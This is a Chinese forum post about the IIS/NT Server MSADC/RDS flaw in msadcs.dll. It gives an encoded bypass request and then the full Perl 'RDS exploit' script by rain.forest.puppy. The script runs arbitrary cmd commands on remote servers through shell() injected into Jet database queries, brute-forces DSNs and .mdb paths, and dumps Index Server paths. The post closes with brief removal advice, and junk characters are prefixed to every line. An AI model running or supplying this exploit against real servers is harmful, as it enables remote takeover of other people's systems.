IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(F5ttQPh zJ l_ t0 涉及程序：
,x#ztdvr Microsoft NT server
X0i3 _RVa h}Ygb-uZ 描述：
mnQ'X-q3iO 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
4F#%f#" R } %8s* 详细：
8F6h#%9 如果你没有时间读详细内容的话，就删除:
^#SBp Lw c:\Program Files\Common Files\System\Msadc\msadcs.dll
zy )i1d 有关的安全问题就没有了。
wq\G|/% \r -N( ;m 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
U ":"geU IC~ljy]y_ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
&YX6"S_B 关于利用ODBC远程漏洞的描述，请参看:
VXC4% %$n02"@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm dr]&kqm i Jnh$jo 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
h|W%4|]R) http://www.microsoft.com/security/bulletins/MS99-025faq.asp T VkcDS $I8[BYblB 这里不再论述。
&9P<qU^N) a@ W7<9fY; 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
OlG R<X
azGn P3_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@PXXt # 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
2ksA.,UB^9 )Vk:YL++ qi\n] I #将下面这段保存为txt文件，然后: "perl -x 文件名"
rO^xz7K^ {nRUH*(d9 #!perl
I' A:J #
uPU#c\ # MSADC/RDS 'usage' (aka exploit) script
d]7*mzw^j #
K-@bwB7~s # by rain.forest.puppy
M,..Kw/ }~ #
l%PnB
)F # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jgRCs.6 # beta test and find errors!
o;;,iHu* qZsnd7o{l. use Socket; use Getopt::Std;
VkXn8J getopts("e:vd:h:XR", \%args);
~CFMIQ et p7 [(z
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(j N]OE^ We m?{kx0 if (!defined $args{h} && !defined $args{R}) {
[=~!w_ print qq~
iS-K
~qa Usage: msadc.pl -h <host> { -d <delay> -X -v }
4A o{M -h <host> = host you want to scan (ip or domain)
ND,`Q jmZ -d <seconds> = delay between calls, default 1 second
_LLshV3 -X = dump Index Server path table, if available
3^ ~Zj95M -v = verbose
Czh8zB+r -e = external dictionary file for step 5
Mjw [:70 ~d+O/: =K_ Or a -R will resume a command session
.0
X$rX= Q
X):T#^V ~; exit;}
V.j#E 1 P /Sj_y*x1e $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;Jo*|pju if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
qw0~ *0} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
k~|ZO/X@l% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
cG (0q[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|_I[1%&`N if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
gMay 9:\A7 = if (!defined $args{R}){ $ret = &has_msadc;
pn*d[M|k die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2}!R
T iiN?\OO^~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
S w
"|iBZ@ . "cmd /c ";
D;C5,rN t $in=<STDIN>; chomp $in;
$Sw, hb $command="cmd /c " . $in ;
.f%vDBJS UzJ!Y / 5 if (defined $args{R}) {&load; exit;}
AS q`)Rz \7DCwu[0M print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
hU+#S(t>b &try_btcustmr;
p XNtN5@FQ kPedX print "\nStep 2: Trying to make our own DSN...";
ZI y(<0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
d~/xGB`< 40+fGRyOL print "\nStep 3: Trying known DSNs...";
2%]t3\XW &known_dsn;
!ABLd|tP PHQcstW print "\nStep 4: Trying known .mdbs...";
dcP88!#5- &known_mdb;
w= B >vxWx[fRu if (defined $args{e}){
)BpIxWd? print "\nStep 5: Trying dictionary of DSN names...";
APOea &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.S(^roM;+ ku-cn2M/ print "Sorry Charley...maybe next time?\n";
VLx T"]f exit;
iz(m3k:w ~QO<
B2hS} ##############################################################################
. Nk6 *V<)p%l. sub sendraw { # ripped and modded from whisker
F]0Jwm{ sleep($delay); # it's a DoS on the server! At least on mine...
WS5"!vz my ($pstr)=@_;
- B jEL; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\`&xprqAw die("Socket problems\n");
%cd]xQpCp if(connect(S,pack "SnA4x8",2,80,$target)){
Ltl]j*yei select(S); $|=1;
_rG-#BKW8L print $pstr; my @in=<S>;
3U>S]#5} select(STDOUT); close(S);
$Uy#/MX return @in;
H! #5!m& } else { die("Can't connect...\n"); }}
sB8p(
L %'kX"}N/ ##############################################################################
epYj+T +O,V6XRr sub make_header { # make the HTTP request
Ho >p ^p my $msadc=<<EOT
Qdi rE 4W POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
x6jm -n User-Agent: ACTIVEDATA
35}P 0+ Host: $ip
JqQ3C}z Content-Length: $clen
&'NQ)Dn Connection: Keep-Alive
%qONJP )v} ;C< ADCClientVersion:01.06
Jfe~ ,cI Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
C\J@fpH(t` #'#4hJ*YC --!ADM!ROX!YOUR!WORLD!
Dn: Yi8= Content-Type: application/x-varg
VD Pxue Content-Length: $reqlen
g8Ok ^ A?\h|u< EOT
D`8E-Bq ; $msadc=~s/\n/\r\n/g;
;g6 nHek return $msadc;}
V02309 Y & 8zk3 ##############################################################################
q~mcjbLz l(.7t' sub make_req { # make the RDS request
:S#eg1y.w] my ($switch, $p1, $p2)=@_;
ADTU{6UPS my $req=""; my $t1, $t2, $query, $dsn;
W;5N04ko TjT](?'o if ($switch==1){ # this is the btcustmr.mdb query
I8:"h $query="Select * from Customers where City=" . make_shell();
BzN/6VEw $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3HXh6( e $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;U8 dm" YHJ ' elsif ($switch==2){ # this is general make table query
F= :F>6` $query="create table AZZ (B int, C varchar(10))";
;.L!%$0i# $dsn="$p1";}
`Uu^I
69N1 m P elsif ($switch==3){ # this is general exploit table query
)0'Y et} $query="select * from AZZ where C=" . make_shell();
K~P76jAe$ $dsn="$p1";}
HE9.
k.sS "MW55OWYU elsif ($switch==4){ # attempt to hork file info from index server
kVy"+ ZebK $query="select path from scope()";
>>/nuWdpO $dsn="Provider=MSIDXS;";}
1a \=0=[ M_yZR^;^- elsif ($switch==5){ # bad query
oC5gME"2 $query="select";
N45 s'rF $dsn="$p1";}
F>p%2II/ hU |LFjc $t1= make_unicode($query);
Mf!owpW
T $t2= make_unicode($dsn);
,^Ex}Z $req = "\x02\x00\x03\x00";
B[C7G7 <B $req.= "\x08\x00" . pack ("S1", length($t1));
bBd *}"v^" $req.= "\x00\x00" . $t1 ;
RJQ/y3 $req.= "\x08\x00" . pack ("S1", length($t2));
>:="?'N5l! $req.= "\x00\x00" . $t2 ;
g]:..W 7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
o,iS&U"TC return $req;}
4& #vU(-H r7zf+a] ##############################################################################
$[WN[J Ufyxw5u5F sub make_shell { # this makes the shell() statement
y[Ta M9< return "'|shell(\"$command\")|'";}
F I80vV7
&p a)Ee> ##############################################################################
}S
Y `KoC1 a g|9$ sub make_unicode { # quick little function to convert to unicode
Vjv6\;tt8 my ($in)=@_; my $out;
t201ud2$ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
e,P Q)1 return $out;}
%w;1*~bH ch%Q'DR_I) ##############################################################################
0:~gW#lD J+-,^8) sub rdo_success { # checks for RDO return success (this is kludge)
K +(m'3` my (@in) = @_; my $base=content_start(@in);
@Z"QA!OK~c if($in[$base]=~/multipart\/mixed/){
vbW\~x f return 1 if( $in[$base+10]=~/^\x09\x00/ );}
**"zDY*?W return 0;}
0tn7Rkiw A0'tCq]?0 ##############################################################################
Lqy|DJ% gEX:S(1 QP sub make_dsn { # this makes a DSN for us
qdg= Imx my @drives=("c","d","e","f");
":5~L9&G print "\nMaking DSN: ";
/ n C$?w foreach $drive (@drives) {
:/I={)5 print "$drive: ";
n:%'{}Jw my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
aTmX!! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Zb5T90s% . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
e!O &~#'h} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(cbB % return 0 if $2 eq "404"; # not found/doesn't exist
X7(rg W 8 if($2 eq "200") {
>EPaZp6 foreach $line (@results) {
i[ V,IP + return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
BbXmT"@ } return 0;}
^v ()iF
! \J#I}-a&j ##############################################################################
' eTpcrS3 dA3`b*nC sub verify_exists {
/jn:e"0~ my ($page)=@_;
r-Xjy *T my @results=sendraw("GET $page HTTP/1.0\n\n");
R$~JhcX*l' return $results[0];}
\H}@-*z+) JC1BUheeb ##############################################################################
Y+S~b sZ\i(eIU sub try_btcustmr {
D(W7O>5vQ2 my @drives=("c","d","e","f");
t/4/G']W my @dirs=("winnt","winnt35","winnt351","win","windows");
!YuON6{) M $E 8: foreach $dir (@dirs) {
*;~{_Disz print "$dir -> "; # fun status so you can see progress
k; 9#4^4( foreach $drive (@drives) {
^+.e5roBKj print "$drive: "; # ditto
yDl5t-0` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4.$hHFqS^5 $reqlenlen=length( "$reqlen" );
#dXZA>b9 $clen= 206 + $reqlenlen + $reqlen;
?L.p9o-S0 # oS my @results=sendraw(make_header() . make_req(1,$drive,$dir));
vM$#m1L ? if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Xqq?S else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
2n\i0? RD 9 ;! uV>-H ##############################################################################
**
"s~ W"DxIy sub odbc_error {
JN9H T0 my (@in)=@_; my $base;
w^vK7Z
1$ my $base = content_start(@in);
0o\=0bH& s if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
*8(t y%5F0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a-o
hS= W $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2 gNBPd )I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
tF) k6*+ return $in[$base+4].$in[$base+5].$in[$base+6];}
~=aI2( b print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
s;=J'x)~% print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%E= ,H?9&> $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
n Y. Umj pNk ,jeo ##############################################################################
^U|CNB%. !3gpiQH{ sub verbose {
|Cxip&e> my ($in)=@_;
.,(uoK{ return if !$verbose;
S
-mz xj print STDOUT "\n$in\n";}
%[31ZFYB o
Q!g!xz ##############################################################################
uc{Qhw!;: R&d _ WB4w sub save {
}@t'r K[ my ($p1, $p2, $p3, $p4)=@_;
{mq$W open(OUT, ">rds.save") || print "Problem saving parameters...\n";
b&_u
O print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2v;
7ohK close OUT;}
D=Yag!1 Y_ TL4 ##############################################################################
"#"Fp&Z7 e&VR>VJEA sub load {
;gw !;!T my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
f%{ ag open(IN,"<rds.save") || die("Couldn't open rds.save\n");
WG!;,~f>o @p=<IN>; close(IN);
Tef3
Z6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^?l-YnQqm? $target= inet_aton($ip) || die("inet_aton problems");
`
TVcI\W print "Resuming to $ip ...";
j,V$vK P $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
lyc{Z%!3 if($p[1]==1) {
E6d8z=X( $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
^#6%*(D $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
=Z$=-\<x0. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
kA9 X! )2w if (rdo_success(@results)){print "Success!\n";}
\Q
BpgMi( else { print "failed\n"; verbose(odbc_error(@results));}}
g {f >j d elsif ($p[1]==3){
[OToz~=) if(run_query("$p[3]")){
HZ`G)1&) print "Success!\n";} else { print "failed\n"; }}
5 <>agK] elsif ($p[1]==4){
gpTF^.( if(run_query($drvst . "$p[3]")){
%2FCpre; print "Success!\n"; } else { print "failed\n"; }}
@):NNbtA exit;}
M`,Z#)Af ,, -[P*@ ##############################################################################
28L'7 %l$&_xV- sub create_table {
(YWc%f4 my ($in)=@_;
-X[8 soz $reqlen=length( make_req(2,$in,"") ) - 28;
h[v3G<C ~r $reqlenlen=length( "$reqlen" );
Wy-quq03"& $clen= 206 + $reqlenlen + $reqlen;
jgfP|oD my @results=sendraw(make_header() . make_req(2,$in,""));
"rlS K >` return 1 if rdo_success(@results);
R@{/$ p: my $temp= odbc_error(@results); verbose($temp);
.}u(& return 1 if $temp=~/Table 'AZZ' already exists/;
=D:R'0YH return 0;}
7&S|y]$~ )-:f;#xJ ##############################################################################
g 5YsV p _WkcJe` sub known_dsn {
q\Io6=39x # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
# ;KG6I E my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Nb, H8; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
&_x/Dzu!z "banner", "banners", "ads", "ADCDemo", "ADCTest");
_nCs$ U j`&i4K: foreach $dSn (@dsns) {
^Ypx|-Vu! print ".";
+53zI |I next if (!is_access("DSN=$dSn"));
H\>I &gC' if(create_table("DSN=$dSn")){
xbC- ueEj print "$dSn successful\n";
kIZdN D& if(run_query("DSN=$dSn")){
2*;Y%NcP [ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hx;kEJ print "Something's borked. Use verbose next time\n";}}} print "\n";}
^cXL4*_= 0GR9C%"] ##############################################################################
<("w'd} s 7cyo
] sub is_access {
~;4k UJD my ($in)=@_;
+W3>Yg%)X $reqlen=length( make_req(5,$in,"") ) - 28;
5x'y{S< $reqlenlen=length( "$reqlen" );
9%k.GE
$clen= 206 + $reqlenlen + $reqlen;
OU5|m%CmO my @results=sendraw(make_header() . make_req(5,$in,""));
P!&CH4+ my $temp= odbc_error(@results);
:^L]Da3 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
S G o:FG return 0;}
u T t:/gm FwzA_
nn ##############################################################################
') cgx9 2 g8P$+;
sub run_query {
jdf@lb=5 l my ($in)=@_;
Y@Y(;C"SW $reqlen=length( make_req(3,$in,"") ) - 28;
-y.AJ~ T $reqlenlen=length( "$reqlen" );
r2'rf pQ $clen= 206 + $reqlenlen + $reqlen;
iCKwd 9?) my @results=sendraw(make_header() . make_req(3,$in,""));
Q0_W<+` return 1 if rdo_success(@results);
R!qrb26k my $temp= odbc_error(@results); verbose($temp);
fMaNv6( return 0;}
Lc?O K"[m y]9U FL" ##############################################################################
mIo7 K5z{ nH rCSfK sub known_mdb {
0z#kV}wE my @drives=("c","d","e","f","g");
59]9-1" + my @dirs=("winnt","winnt35","winnt351","win","windows");
n82Q.M- H my $dir, $drive, $mdb;
fC|u my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`ayc YoD .Tv(1HAc2l # this is sparse, because I don't know of many
%MNV 5UA[w my @sysmdbs=( "\\catroot\\icatalog.mdb",
V5 r7eC "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
IBh~(6 "\\system32\\certmdb.mdb",
>#|Yoc "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3wl>a#f NM.B=<Aw* my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$(=1A>40 "\\cfusion\\cfapps\\forums\\forums_.mdb",
>t(@?* ZFT "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,[ L$ "\\cfusion\\cfapps\\security\\realm_.mdb",
R2W_/fs G "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3PffQ,c[~ "\\cfusion\\database\\cfexamples.mdb",
n.R hA-O "\\cfusion\\database\\cfsnippets.mdb",
x~eEaD5m%J "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
W<o0Z OO "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
p04+" "\\cfusion\\brighttiger\\database\\cleam.mdb",
v1)6")8o+ "\\cfusion\\database\\smpolicy.mdb",
y@_?3m7B= "\\cfusion\\database\cypress.mdb",
AAgA]OD, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
!*6z=:J "\\website\\cgi-win\\dbsample.mdb",
e]?S-J' z "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
=i?,y +< "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2Zip8f! ); #these are just
M k?I} foreach $drive (@drives) {
06 s3
b foreach $dir (@dirs){
,c l<74d foreach $mdb (@sysmdbs) {
#" -^;Z print ".";
"~
stZ. if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*`T &Dlt'8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Ms)zEy>[Ql if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8ZfIh print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
V}+;b bUc- } else { print "Something's borked. Use verbose next time\n"; }}}}}
ifZNl, [)n}!5fE foreach $drive (@drives) {
} 4%)m foreach $mdb (@mdbs) {
_Qc\v0% print ".";
?GU!ke p if(create_table($drv . $drive . $dir . $mdb)){
yVzg<%CR^ print "\n" . $drive . $dir . $mdb . " successful\n";
W[<":NX2 if(run_query($drv . $drive . $dir . $mdb)){
caD;V( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,6 \f4/ } else { print "Something's borked. Use verbose next time\n"; }}}}
f om"8iL1 }
x~tQ YK ;NeEgqW " ##############################################################################
\w[%n 0 ; @~*z4U sub hork_idx {
w8I&:"^7< print "\nAttempting to dump Index Server tables...\n";
KdsvZim0> print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9Ib(x0_ $reqlen=length( make_req(4,"","") ) - 28;
:=v{inN $reqlenlen=length( "$reqlen" );
1[9j`~[([ $clen= 206 + $reqlenlen + $reqlen;
HW Os@ !cL my @results=sendraw2(make_header() . make_req(4,"",""));
AiHf?"EVT if (rdo_success(@results)){
2_b'mepV my $max=@results; my $c; my %d;
OUO^/]
J1S for($c=19; $c<$max; $c++){
=c^=Yvc7U $results[$c]=~s/\x00//g;
Kg-X]yu*0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
}h h^U^ia $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
[=3tAPpzK $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
pF+wH MhUe $d{"$1$2"}="";}
+J8/,d foreach $c (keys %d){ print "$c\n"; }
9$@ g;?}Ps } else {print "Index server doesn't seem to be installed.\n"; }}
q%Jy>IXt \&)W#8V ##############################################################################
lNVAKwW2# )Hm[j)YI sub dsn_dict {
X`QW(rq open(IN, "<$args{e}") || die("Can't open external dictionary\n");
bMOM`At>z while(<IN>){
|hQ|'VCN $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Sb4PCt next if (!is_access("DSN=$dSn"));
\OT)KVwO if(create_table("DSN=$dSn")){
^6y 4!='ci print "$dSn successful\n";
B& k T# if(run_query("DSN=$dSn")){
G2 { M#H print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RTBBb:eX print "Something's borked. Use verbose next time\n";}}}
;Jn0 e:x`E print "\n"; close(IN);}
-7z y e - ]c ##############################################################################
&dDI*v+ _Ge ^
-7 sub sendraw2 { # ripped and modded from whisker
5=h'!|iY sleep($delay); # it's a DoS on the server! At least on mine...
1$D`Z/N"A my ($pstr)=@_;
e0WSHg=6@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|aAWW d5 die("Socket problems\n");
=C>`}%XT} if(connect(S,pack "SnA4x8",2,80,$target)){
zQ %z "tQ print "Connected. Getting data";
2*wO5v open(OUT,">raw.out"); my @in;
>fA@tUQB select(S); $|=1; print $pstr;
'Mx K}9 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7r[ % | : close(OUT); select(STDOUT); close(S); return @in;
PeUd } else { die("Can't connect...\n"); }}
j*~dFGl) OK?3,<x ##############################################################################
J$9xC{L4 3kqV_Pjg sub content_start { # this will take in the server headers
xZ=FH>Y6' my (@in)=@_; my $c;
8 w8I:* for ($c=1;$c<500;$c++) {
Fxth> O`$ if($in[$c] =~/^\x0d\x0a/){
j[J@ tM# if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]{2{:`s else { return $c+1; }}}
>{qK ]xj return -1;} # it should never get here actually
0 ij~e< X$| TN+Ub ##############################################################################
!eAdm kbp(
a+5 sub funky {
={E! 8 " my (@in)=@_; my $error=odbc_error(@in);
6SBvn% if($error=~/ADO could not find the specified provider/){
p@7i=hyt`p print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Xtu`5p_Qv exit;}
Lr ? 4Y if($error=~/A Handler is required/){
:{i$2\D H6 print "\nServer has custom handler filters (they most likely are patched)\n";
{q tc \O exit;}
y.*=Ww+ if($error=~/specified Handler has denied Access/){
kuj1 2 print "\nServer has custom handler filters (they most likely are patched)\n";
KjwY'aYwr: exit;}}
%][$y 7 [X">vaa ##############################################################################
1u"*09yZd 2~&hs td% sub has_msadc {
/q"d`!h)w my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
AXh 3LA my $base=content_start(@results);
L740s[,`o# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
60aKT:KLC_ return 0;}
,8=`* yw* mA1v ########################
Ng'ZAG;O _L4<^Etfm i+X2M-[Ls 解决方案：
42J';\)oP 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Y7kb1UG 2、移除web 目录: /msadc
